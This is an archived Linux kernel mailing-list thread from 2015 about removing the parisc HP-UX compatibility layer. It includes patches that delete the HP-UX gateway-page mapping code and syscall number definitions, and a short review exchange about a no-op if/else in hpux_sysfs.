diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index 0bef864..15dbe81 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -750,78 +750,6 @@ static void __init gateway_init(void)
 		  PAGE_SIZE, PAGE_GATEWAY, 1);
 }
 
-#ifdef CONFIG_HPUX
-void
-map_hpux_gateway_page(struct task_struct *tsk, struct mm_struct *mm)
-{
-	pgd_t *pg_dir;
-	pmd_t *pmd;
-	pte_t *pg_table;
-	unsigned long start_pmd;
-	unsigned long start_pte;
-	unsigned long address;
-	unsigned long hpux_gw_page_addr;
-	/* FIXME: This is 'const' in order to trick the compiler
-	   into not treating it as DP-relative data. */
-	extern void * const hpux_gateway_page;
-
-	hpux_gw_page_addr = HPUX_GATEWAY_ADDR & PAGE_MASK;
-
-	/*
-	 * Setup HP-UX Gateway page.
-	 *
-	 * The HP-UX gateway page resides in the user address space,
-	 * so it needs to be aliased into each process.
-	 */
-
-	pg_dir = pgd_offset(mm,hpux_gw_page_addr);
-
-#if PTRS_PER_PMD == 1
-	start_pmd = 0;
-#else
-	start_pmd = ((hpux_gw_page_addr >> PMD_SHIFT) & (PTRS_PER_PMD - 1));
-#endif
-	start_pte = ((hpux_gw_page_addr >> PAGE_SHIFT) & (PTRS_PER_PTE - 1));
-
-	address = __pa(&hpux_gateway_page);
-#if PTRS_PER_PMD == 1
-	pmd = (pmd_t *)__pa(pg_dir);
-#else
-	pmd = (pmd_t *) pgd_address(*pg_dir);
-
-	/*
-	 * pmd is physical at this point
-	 */
-
-	if (!pmd) {
-		pmd = (pmd_t *) get_zeroed_page(GFP_KERNEL);
-		pmd = (pmd_t *) __pa(pmd);
-	}
-
-	__pgd_val_set(*pg_dir, PxD_FLAG_PRESENT | PxD_FLAG_VALID | (unsigned long) pmd);
-#endif
-	/* now change pmd to kernel virtual addresses */
-
-	pmd = (pmd_t *)__va(pmd) + start_pmd;
-
-	/*
-	 * pg_table is physical at this point
-	 */
-
-	pg_table = (pte_t *) pmd_address(*pmd);
-	if (!pg_table)
-		pg_table = (pte_t *) __pa(get_zeroed_page(GFP_KERNEL));
-
-	__pmd_val_set(*pmd, PxD_FLAG_PRESENT | PxD_FLAG_VALID | (unsigned long) pg_table);
-
-	/* now change pg_table to kernel virtual addresses */
-
-	pg_table = (pte_t *) __va(pg_table) + start_pte;
-	set_pte(pg_table, __mk_pte(address, PAGE_GATEWAY));
-}
-EXPORT_SYMBOL(map_hpux_gateway_page);
-#endif

From - Thu Nov 08 21:37:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: hpux - Remove HPUX syscall numbers
Date: Mon, 16 Feb 2015 22:21:27 +0100
Lines: 482
Approved: news@gmane.org
Message-ID: <20150216212127.GB1807@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1424121717 7584 80.91.229.3 (16 Feb 2015 21:21:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 16 Feb 2015 21:21:57 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 16 22:21:49 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YNT6y-0002J6-3C
	for glpp-linux-parisc@plane.gmane.org; Mon, 16 Feb 2015 22:21:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751494AbbBPVVl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 16 Feb 2015 16:21:41 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:58002 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751082AbbBPVVk (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 16 Feb 2015 16:21:40 -0500
Original-Received: from ls3530.box ([84.173.26.201]) by mail.gmx.com (mrgmx101) with
 ESMTPSA (Nemesis) id 0LbA4j-1Xi6oi4Bhp-00kbo8; Mon, 16 Feb 2015 22:21:30
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:ReiZBo/bU+M2ANPn3e4dUEMf3WbZySXzF1hS7Yz+tXkZD9znoZf
 iUjpF3GuWY4pFxtD/0djwFKLExiDOqzuBW8lp4s74dFxhAKwMR/nWZzAl2bFC2xFX+pRO9I
 EOkStGsGSxsAFcTZ3NyG6fXQ/IOK0kZrADygGSQrLoQB3a1hypQTp1hxKwzQIlEXQXSV2Ua
 6SRODz57Ms+utVSTTzPaw==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25575
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25575>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
index 5f5c037..55c6486 100644
--- a/arch/parisc/include/uapi/asm/unistd.h
+++ b/arch/parisc/include/uapi/asm/unistd.h
@@ -2,480 +2,6 @@
 #define _UAPI_ASM_PARISC_UNISTD_H_
 
 /*
- * This file contains the system call numbers.
- */
-
-/*
- *   HP-UX system calls get their native numbers for binary compatibility.
- */
-
-#define __NR_HPUX_exit                    1
-#define __NR_HPUX_fork                    2
-#define __NR_HPUX_read                    3
-#define __NR_HPUX_write                   4
-#define __NR_HPUX_open                    5
-#define __NR_HPUX_close                   6
-#define __NR_HPUX_wait                    7
-#define __NR_HPUX_creat                   8
-#define __NR_HPUX_link                    9
-#define __NR_HPUX_unlink                 10
-#define __NR_HPUX_execv                  11
-#define __NR_HPUX_chdir                  12
-#define __NR_HPUX_time                   13
-#define __NR_HPUX_mknod                  14
-#define __NR_HPUX_chmod                  15
-#define __NR_HPUX_chown                  16
-#define __NR_HPUX_break                  17
-#define __NR_HPUX_lchmod                 18
-#define __NR_HPUX_lseek                  19
-#define __NR_HPUX_getpid                 20
-#define __NR_HPUX_mount                  21
-#define __NR_HPUX_umount                 22
-#define __NR_HPUX_setuid                 23
-#define __NR_HPUX_getuid                 24
-#define __NR_HPUX_stime                  25
-#define __NR_HPUX_ptrace                 26
-#define __NR_HPUX_alarm                  27
-#define __NR_HPUX_oldfstat               28
-#define __NR_HPUX_pause                  29
-#define __NR_HPUX_utime                  30
-#define __NR_HPUX_stty                   31
-#define __NR_HPUX_gtty                   32
-#define __NR_HPUX_access                 33
-#define __NR_HPUX_nice                   34
-#define __NR_HPUX_ftime                  35
-#define __NR_HPUX_sync                   36
-#define __NR_HPUX_kill                   37
-#define __NR_HPUX_stat                   38
-#define __NR_HPUX_setpgrp3               39
-#define __NR_HPUX_lstat                  40
-#define __NR_HPUX_dup                    41
-#define __NR_HPUX_pipe                   42
-#define __NR_HPUX_times                  43
-#define __NR_HPUX_profil                 44
-#define __NR_HPUX_ki_call                45
-#define __NR_HPUX_setgid                 46
-#define __NR_HPUX_getgid                 47
-#define __NR_HPUX_sigsys                 48
-#define __NR_HPUX_reserved1              49
-#define __NR_HPUX_reserved2              50
-#define __NR_HPUX_acct                   51
-#define __NR_HPUX_set_userthreadid       52
-#define __NR_HPUX_oldlock                53
-#define __NR_HPUX_ioctl                  54
-#define __NR_HPUX_reboot                 55
-#define __NR_HPUX_symlink                56
-#define __NR_HPUX_utssys                 57
-#define __NR_HPUX_readlink               58
-#define __NR_HPUX_execve                 59
-#define __NR_HPUX_umask                  60
-#define __NR_HPUX_chroot                 61
-#define __NR_HPUX_fcntl                  62
-#define __NR_HPUX_ulimit                 63
-#define __NR_HPUX_getpagesize            64
-#define __NR_HPUX_mremap                 65
-#define __NR_HPUX_vfork                  66
-#define __NR_HPUX_vread                  67
-#define __NR_HPUX_vwrite                 68
-#define __NR_HPUX_sbrk                   69
-#define __NR_HPUX_sstk                   70
-#define __NR_HPUX_mmap                   71
-#define __NR_HPUX_vadvise                72
-#define __NR_HPUX_munmap                 73
-#define __NR_HPUX_mprotect               74
-#define __NR_HPUX_madvise                75
-#define __NR_HPUX_vhangup                76
-#define __NR_HPUX_swapoff                77
-#define __NR_HPUX_mincore                78
-#define __NR_HPUX_getgroups              79
-#define __NR_HPUX_setgroups              80
-#define __NR_HPUX_getpgrp2               81
-#define __NR_HPUX_setpgrp2               82
-#define __NR_HPUX_setitimer              83
-#define __NR_HPUX_wait3                  84
-#define __NR_HPUX_swapon                 85
-#define __NR_HPUX_getitimer              86
-#define __NR_HPUX_gethostname42          87
-#define __NR_HPUX_sethostname42          88
-#define __NR_HPUX_getdtablesize          89
-#define __NR_HPUX_dup2                   90
-#define __NR_HPUX_getdopt                91
-#define __NR_HPUX_fstat                  92
-#define __NR_HPUX_select                 93
-#define __NR_HPUX_setdopt                94
-#define __NR_HPUX_fsync                  95
-#define __NR_HPUX_setpriority            96
-#define __NR_HPUX_socket_old             97
-#define __NR_HPUX_connect_old            98
-#define __NR_HPUX_accept_old             99
-#define __NR_HPUX_getpriority           100
-#define __NR_HPUX_send_old              101
-#define __NR_HPUX_recv_old              102
-#define __NR_HPUX_socketaddr_old        103
-#define __NR_HPUX_bind_old              104
-#define __NR_HPUX_setsockopt_old        105
-#define __NR_HPUX_listen_old            106
-#define __NR_HPUX_vtimes_old            107
-#define __NR_HPUX_sigvector             108
-#define __NR_HPUX_sigblock              109
-#define __NR_HPUX_siggetmask            110
-#define __NR_HPUX_sigpause              111
-#define __NR_HPUX_sigstack              112
-#define __NR_HPUX_recvmsg_old           113
-#define __NR_HPUX_sendmsg_old           114
-#define __NR_HPUX_vtrace_old            115
-#define __NR_HPUX_gettimeofday          116
-#define __NR_HPUX_getrusage             117
-#define __NR_HPUX_getsockopt_old        118
-#define __NR_HPUX_resuba_old            119
-#define __NR_HPUX_readv                 120
-#define __NR_HPUX_writev                121
-#define __NR_HPUX_settimeofday          122
-#define __NR_HPUX_fchown                123
-#define __NR_HPUX_fchmod                124
-#define __NR_HPUX_recvfrom_old          125
-#define __NR_HPUX_setresuid             126
-#define __NR_HPUX_setresgid             127
-#define __NR_HPUX_rename                128
-#define __NR_HPUX_truncate              129
-#define __NR_HPUX_ftruncate             130
-#define __NR_HPUX_flock_old             131
-#define __NR_HPUX_sysconf               132
-#define __NR_HPUX_sendto_old            133
-#define __NR_HPUX_shutdown_old          134
-#define __NR_HPUX_socketpair_old        135
-#define __NR_HPUX_mkdir                 136
-#define __NR_HPUX_rmdir                 137
-#define __NR_HPUX_utimes_old            138
-#define __NR_HPUX_sigcleanup_old        139
-#define __NR_HPUX_setcore               140
-#define __NR_HPUX_getpeername_old       141
-#define __NR_HPUX_gethostid             142
-#define __NR_HPUX_sethostid             143
-#define __NR_HPUX_getrlimit             144
-#define __NR_HPUX_setrlimit             145
-#define __NR_HPUX_killpg_old            146
-#define __NR_HPUX_cachectl              147
-#define __NR_HPUX_quotactl              148
-#define __NR_HPUX_get_sysinfo           149
-#define __NR_HPUX_getsockname_old       150
-#define __NR_HPUX_privgrp               151
-#define __NR_HPUX_rtprio                152
-#define __NR_HPUX_plock                 153
-#define __NR_HPUX_reserved3             154
-#define __NR_HPUX_lockf                 155
-#define __NR_HPUX_semget                156
-#define __NR_HPUX_osemctl               157
-#define __NR_HPUX_semop                 158
-#define __NR_HPUX_msgget                159
-#define __NR_HPUX_omsgctl               160
-#define __NR_HPUX_msgsnd                161
-#define __NR_HPUX_msgrecv               162
-#define __NR_HPUX_shmget                163
-#define __NR_HPUX_oshmctl               164
-#define __NR_HPUX_shmat                 165
-#define __NR_HPUX_shmdt                 166
-#define __NR_HPUX_m68020_advise         167
-/* [168,189] are for Discless/DUX */
-#define __NR_HPUX_csp                   168
-#define __NR_HPUX_cluster               169
-#define __NR_HPUX_mkrnod                170
-#define __NR_HPUX_test                  171
-#define __NR_HPUX_unsp_open             172
-#define __NR_HPUX_reserved4             173
-#define __NR_HPUX_getcontext_old        174
-#define __NR_HPUX_osetcontext           175
-#define __NR_HPUX_bigio                 176
-#define __NR_HPUX_pipenode              177
-#define __NR_HPUX_lsync                 178
-#define __NR_HPUX_getmachineid          179
-#define __NR_HPUX_cnodeid               180
-#define __NR_HPUX_cnodes                181
-#define __NR_HPUX_swapclients           182
-#define __NR_HPUX_rmt_process           183
-#define __NR_HPUX_dskless_stats         184
-#define __NR_HPUX_sigprocmask           185
-#define __NR_HPUX_sigpending            186
-#define __NR_HPUX_sigsuspend            187
-#define __NR_HPUX_sigaction             188
-#define __NR_HPUX_reserved5             189
-#define __NR_HPUX_nfssvc                190
-#define __NR_HPUX_getfh                 191
-#define __NR_HPUX_getdomainname         192
-#define __NR_HPUX_setdomainname         193
-#define __NR_HPUX_async_daemon          194
-#define __NR_HPUX_getdirentries         195
-#define __NR_HPUX_statfs                196
-#define __NR_HPUX_fstatfs               197
-#define __NR_HPUX_vfsmount              198
-#define __NR_HPUX_reserved6             199
-#define __NR_HPUX_waitpid               200
-/* 201 - 223 missing */
-#define __NR_HPUX_sigsetreturn          224
-#define __NR_HPUX_sigsetstatemask       225
-/* 226 missing */
-#define __NR_HPUX_cs                    227
-#define __NR_HPUX_cds                   228
-#define __NR_HPUX_set_no_trunc          229
-#define __NR_HPUX_pathconf              230
-#define __NR_HPUX_fpathconf             231
-/* 232, 233 missing */
-#define __NR_HPUX_nfs_fcntl             234
-#define __NR_HPUX_ogetacl               235
-#define __NR_HPUX_ofgetacl              236
-#define __NR_HPUX_osetacl               237
-#define __NR_HPUX_ofsetacl              238
-#define __NR_HPUX_pstat                 239
-#define __NR_HPUX_getaudid              240
-#define __NR_HPUX_setaudid              241
-#define __NR_HPUX_getaudproc            242
-#define __NR_HPUX_setaudproc            243
-#define __NR_HPUX_getevent              244
-#define __NR_HPUX_setevent              245
-#define __NR_HPUX_audwrite              246
-#define __NR_HPUX_audswitch             247
-#define __NR_HPUX_audctl                248
-#define __NR_HPUX_ogetaccess            249
-#define __NR_HPUX_fsctl                 250
-/* 251 - 258 missing */
-#define __NR_HPUX_swapfs                259
-#define __NR_HPUX_fss                   260
-/* 261 - 266 missing */
-#define __NR_HPUX_tsync                 267
-#define __NR_HPUX_getnumfds             268
-#define __NR_HPUX_poll                  269
-#define __NR_HPUX_getmsg                270
-#define __NR_HPUX_putmsg                271
-#define __NR_HPUX_fchdir                272
-#define __NR_HPUX_getmount_cnt          273
-#define __NR_HPUX_getmount_entry        274
-#define __NR_HPUX_accept                275
-#define __NR_HPUX_bind                  276
-#define __NR_HPUX_connect               277
-#define __NR_HPUX_getpeername           278
-#define __NR_HPUX_getsockname           279
-#define __NR_HPUX_getsockopt            280
-#define __NR_HPUX_listen                281
-#define __NR_HPUX_recv                  282
-#define __NR_HPUX_recvfrom              283
-#define __NR_HPUX_recvmsg               284
-#define __NR_HPUX_send                  285
-#define __NR_HPUX_sendmsg               286
-#define __NR_HPUX_sendto                287
-#define __NR_HPUX_setsockopt            288
-#define __NR_HPUX_shutdown              289
-#define __NR_HPUX_socket                290
-#define __NR_HPUX_socketpair            291
-#define __NR_HPUX_proc_open             292
-#define __NR_HPUX_proc_close            293
-#define __NR_HPUX_proc_send             294
-#define __NR_HPUX_proc_recv             295
-#define __NR_HPUX_proc_sendrecv         296
-#define __NR_HPUX_proc_syscall          297
-/* 298 - 311 missing */
-#define __NR_HPUX_semctl                312
-#define __NR_HPUX_msgctl                313
-#define __NR_HPUX_shmctl                314
-#define __NR_HPUX_mpctl                 315
-#define __NR_HPUX_exportfs              316
-#define __NR_HPUX_getpmsg               317
-#define __NR_HPUX_putpmsg               318
-/* 319 missing */
-#define __NR_HPUX_msync                 320
-#define __NR_HPUX_msleep                321
-#define __NR_HPUX_mwakeup               322
-#define __NR_HPUX_msem_init             323
-#define __NR_HPUX_msem_remove           324
-#define __NR_HPUX_adjtime               325
-#define __NR_HPUX_kload                 326
-#define __NR_HPUX_fattach               327
-#define __NR_HPUX_fdetach               328
-#define __NR_HPUX_serialize             329
-#define __NR_HPUX_statvfs               330
-#define __NR_HPUX_fstatvfs              331
-#define __NR_HPUX_lchown                332
-#define __NR_HPUX_getsid                333
-#define __NR_HPUX_sysfs                 334
-/* 335, 336 missing */
-#define __NR_HPUX_sched_setparam        337
-#define __NR_HPUX_sched_getparam        338
-#define __NR_HPUX_sched_setscheduler    339
-#define __NR_HPUX_sched_getscheduler    340
-#define __NR_HPUX_sched_yield           341
-#define __NR_HPUX_sched_get_priority_max 342
-#define __NR_HPUX_sched_get_priority_min 343
-#define __NR_HPUX_sched_rr_get_interval 344
-#define __NR_HPUX_clock_settime         345
-#define __NR_HPUX_clock_gettime         346
-#define __NR_HPUX_clock_getres          347
-#define __NR_HPUX_timer_create          348
-#define __NR_HPUX_timer_delete          349
-#define __NR_HPUX_timer_settime         350
-#define __NR_HPUX_timer_gettime         351
-#define __NR_HPUX_timer_getoverrun      352
-#define __NR_HPUX_nanosleep             353
-#define __NR_HPUX_toolbox               354
-/* 355 missing */
-#define __NR_HPUX_getdents              356
-#define __NR_HPUX_getcontext            357
-#define __NR_HPUX_sysinfo               358
-#define __NR_HPUX_fcntl64               359
-#define __NR_HPUX_ftruncate64           360
-#define __NR_HPUX_fstat64               361
-#define __NR_HPUX_getdirentries64       362
-#define __NR_HPUX_getrlimit64           363
-#define __NR_HPUX_lockf64               364
-#define __NR_HPUX_lseek64               365
-#define __NR_HPUX_lstat64               366
-#define __NR_HPUX_mmap64                367
-#define __NR_HPUX_setrlimit64           368
-#define __NR_HPUX_stat64                369
-#define __NR_HPUX_truncate64            370
-#define __NR_HPUX_ulimit64              371
-#define __NR_HPUX_pread                 372
-#define __NR_HPUX_preadv                373
-#define __NR_HPUX_pwrite                374
-#define __NR_HPUX_pwritev               375
-#define __NR_HPUX_pread64               376
-#define __NR_HPUX_preadv64              377
-#define __NR_HPUX_pwrite64              378
-#define __NR_HPUX_pwritev64             379
-#define __NR_HPUX_setcontext            380
-#define __NR_HPUX_sigaltstack           381
-#define __NR_HPUX_waitid                382
-#define __NR_HPUX_setpgrp               383
-#define __NR_HPUX_recvmsg2              384
-#define __NR_HPUX_sendmsg2              385
-#define __NR_HPUX_socket2               386
-#define __NR_HPUX_socketpair2           387
-#define __NR_HPUX_setregid              388
-#define __NR_HPUX_lwp_create            389
-#define __NR_HPUX_lwp_terminate         390
-#define __NR_HPUX_lwp_wait              391
-#define __NR_HPUX_lwp_suspend           392
-#define __NR_HPUX_lwp_resume            393
-/* 394 missing */
-#define __NR_HPUX_lwp_abort_syscall     395
-#define __NR_HPUX_lwp_info              396
-#define __NR_HPUX_lwp_kill              397
-#define __NR_HPUX_ksleep                398
-#define __NR_HPUX_kwakeup               399
-/* 400 missing */
-#define __NR_HPUX_pstat_getlwp          401
-#define __NR_HPUX_lwp_exit              402
-#define __NR_HPUX_lwp_continue          403
-#define __NR_HPUX_getacl                404
-#define __NR_HPUX_fgetacl               405
-#define __NR_HPUX_setacl                406
-#define __NR_HPUX_fsetacl               407
-#define __NR_HPUX_getaccess             408
-#define __NR_HPUX_lwp_mutex_init        409
-#define __NR_HPUX_lwp_mutex_lock_sys    410
-#define __NR_HPUX_lwp_mutex_unlock      411
-#define __NR_HPUX_lwp_cond_init         412
-#define __NR_HPUX_lwp_cond_signal       413
-#define __NR_HPUX_lwp_cond_broadcast    414
-#define __NR_HPUX_lwp_cond_wait_sys     415
-#define __NR_HPUX_lwp_getscheduler      416
-#define __NR_HPUX_lwp_setscheduler      417
-#define __NR_HPUX_lwp_getstate          418
-#define __NR_HPUX_lwp_setstate          419
-#define __NR_HPUX_lwp_detach            420
-#define __NR_HPUX_mlock                 421
-#define __NR_HPUX_munlock               422
-#define __NR_HPUX_mlockall              423
-#define __NR_HPUX_munlockall            424
-#define __NR_HPUX_shm_open              425
-#define __NR_HPUX_shm_unlink            426
-#define __NR_HPUX_sigqueue              427
-#define __NR_HPUX_sigwaitinfo           428
-#define __NR_HPUX_sigtimedwait          429
-#define __NR_HPUX_sigwait               430
-#define __NR_HPUX_aio_read              431
-#define __NR_HPUX_aio_write             432
-#define __NR_HPUX_lio_listio            433
-#define __NR_HPUX_aio_error             434
-#define __NR_HPUX_aio_return            435
-#define __NR_HPUX_aio_cancel            436
-#define __NR_HPUX_aio_suspend           437
-#define __NR_HPUX_aio_fsync             438
-#define __NR_HPUX_mq_open               439
-#define __NR_HPUX_mq_close              440
-#define __NR_HPUX_mq_unlink             441
-#define __NR_HPUX_mq_send               442
-#define __NR_HPUX_mq_receive            443
-#define __NR_HPUX_mq_notify             444
-#define __NR_HPUX_mq_setattr            445
-#define __NR_HPUX_mq_getattr            446
-#define __NR_HPUX_ksem_open             447
-#define __NR_HPUX_ksem_unlink           448
-#define __NR_HPUX_ksem_close            449
-#define __NR_HPUX_ksem_post             450
-#define __NR_HPUX_ksem_wait             451
-#define __NR_HPUX_ksem_read             452
-#define __NR_HPUX_ksem_trywait          453
-#define __NR_HPUX_lwp_rwlock_init       454
-#define __NR_HPUX_lwp_rwlock_destroy    455
-#define __NR_HPUX_lwp_rwlock_rdlock_sys 456
-#define __NR_HPUX_lwp_rwlock_wrlock_sys 457
-#define __NR_HPUX_lwp_rwlock_tryrdlock  458
-#define __NR_HPUX_lwp_rwlock_trywrlock  459
-#define __NR_HPUX_lwp_rwlock_unlock     460
-#define __NR_HPUX_ttrace                461
-#define __NR_HPUX_ttrace_wait           462
-#define __NR_HPUX_lf_wire_mem           463
-#define __NR_HPUX_lf_unwire_mem         464
-#define __NR_HPUX_lf_send_pin_map       465
-#define __NR_HPUX_lf_free_buf           466
-#define __NR_HPUX_lf_wait_nq            467
-#define __NR_HPUX_lf_wakeup_conn_q      468
-#define __NR_HPUX_lf_unused             469
-#define __NR_HPUX_lwp_sema_init         470
-#define __NR_HPUX_lwp_sema_post         471
-#define __NR_HPUX_lwp_sema_wait         472
-#define __NR_HPUX_lwp_sema_trywait      473
-#define __NR_HPUX_lwp_sema_destroy      474
-#define __NR_HPUX_statvfs64             475
-#define __NR_HPUX_fstatvfs64            476
-#define __NR_HPUX_msh_register          477
-#define __NR_HPUX_ptrace64              478
-#define __NR_HPUX_sendfile              479
-#define __NR_HPUX_sendpath              480
-#define __NR_HPUX_sendfile64            481
-#define __NR_HPUX_sendpath64            482
-#define __NR_HPUX_modload               483
-#define __NR_HPUX_moduload              484
-#define __NR_HPUX_modpath               485
-#define __NR_HPUX_getksym               486
-#define __NR_HPUX_modadm                487
-#define __NR_HPUX_modstat               488
-#define __NR_HPUX_lwp_detached_exit     489
-#define __NR_HPUX_crashconf             490
-#define __NR_HPUX_siginhibit            491
-#define __NR_HPUX_sigenable             492
-#define __NR_HPUX_spuctl                493
-#define __NR_HPUX_zerokernelsum         494
-#define __NR_HPUX_nfs_kstat             495
-#define __NR_HPUX_aio_read64            496
-#define __NR_HPUX_aio_write64           497
-#define __NR_HPUX_aio_error64           498
-#define __NR_HPUX_aio_return64          499
-#define __NR_HPUX_aio_cancel64          500
-#define __NR_HPUX_aio_suspend64         501
-#define __NR_HPUX_aio_fsync64           502
-#define __NR_HPUX_lio_listio64          503
-#define __NR_HPUX_recv2                 504
-#define __NR_HPUX_recvfrom2             505
-#define __NR_HPUX_send2                 506
-#define __NR_HPUX_sendto2               507
-#define __NR_HPUX_acl                   508
-#define __NR_HPUX___cnx_p2p_ctl         509
-#define __NR_HPUX___cnx_gsched_ctl      510
-#define __NR_HPUX___cnx_pmon_ctl        511
-
-#define __NR_HPUX_syscalls		512

From - Thu Nov 08 21:37:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: RFC arch/sh/kernel/traps_64.c - unclear if/else construct (hpux
 compat layer)
Date: Mon, 16 Feb 2015 22:24:31 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <54E2600F.9060502@gmx.de>
References: <20150203093758.GA27963@opentech.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1424121896 10849 80.91.229.3 (16 Feb 2015 21:24:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 16 Feb 2015 21:24:56 +0000 (UTC)
Cc: Dan Carpenter <dan.carpenter@oracle.com>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Nicholas Mc Guire <der.herr@hofr.at>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Feb 16 22:24:48 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1YNT9q-0003VT-Bg
	for glk-linux-kernel-3@plane.gmane.org; Mon, 16 Feb 2015 22:24:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751561AbbBPVYl (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 16 Feb 2015 16:24:41 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:53637 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751300AbbBPVYj (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Mon, 16 Feb 2015 16:24:39 -0500
Original-Received: from [192.168.20.60] ([84.173.26.201]) by mail.gmx.com (mrgmx003)
 with ESMTPSA (Nemesis) id 0M4002-1XWC6v3QEE-00rZzA; Mon, 16 Feb 2015 22:24:31
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.4.0
In-Reply-To: <20150203093758.GA27963@opentech.at>
X-Provags-ID: V03:K0:F9sTY1WnmAecvNCFVIDv30GB7CeR/DbdTA35vLGFKgex5v9MNGu
 r7Rx3VCz26XXg4B4LmCvuSu9IaxQu4Oc6T5qwXuehCHSi99IiBxW4IfvPwAjrTa1CcazWkF
 a/8y1l3pYvFXbESAx/yZBKd49p/1e+B6wvnVpF1OdAqsfkKht6gu3DTN63pWV2UplFNU+fJ
 uKB6NcQ0tsUQif9m1xsKg==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1889014 gmane.linux.ports.parisc:25576
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1889014>

Hello Nicholas,

On 03.02.2015 10:37, Nicholas Mc Guire wrote:
>   scanning for  if STATEMENT else STATEMENT  triggered here - and it does look
> like it needs a fix-up or at least some comments.
>
> <snip?
> int hpux_sysfs(int opcode, unsigned long arg1, unsigned long arg2)
> {
> 	 int fstype;
> 	 ...
> 		  /* String could be altered by userspace after strlen_user() */
> 		  fsname[len - 1] = '\0';
>
> 		  printk(KERN_DEBUG "that is '%s' as (char *)\n", fsname);
> 		  if ( !strcmp(fsname, "hfs") ) {
> 			   fstype = 0;
> 		  } else {
> 			   fstype = 0;
> 		  }
> 		
> 		  kfree(fsname);
>
> 		  printk(KERN_DEBUG "returning fstype=%d\n", fstype);
> 		  return fstype; /* something other than default */
> <snip>
>
>   The if-else here has no effect and the printk will not convey any information
> as its always fstype==0, finally the return statement comment indicates that it
> should not be the default...
>
>   Can't come up with a reasonable cleanup patch here - but this looks like it
> needs a review.

The hpux code is broken anyway.
I'm going to remove it from the tree.

Thanks!

Helge

From - Thu Nov 08 21:37:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bolle <pebolle@tiscali.nl>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: RFC arch/sh/kernel/traps_64.c - unclear if/else construct (hpux
 compat layer)
Date: Tue, 17 Feb 2015 09:49:27 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <1424162967.7082.7.camel@x220>
References: <20150203093758.GA27963@opentech.at> <54E2600F.9060502@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1424162990 12257 80.91.229.3 (17 Feb 2015 08:49:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Feb 2015 08:49:50 +0000 (UTC)
Cc: Valentin Rothberg <valentinrothberg@gmail.com>,
	Nicholas Mc Guire <der.herr@hofr.at>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Dan Carpenter <dan.carpenter@oracle.com>,
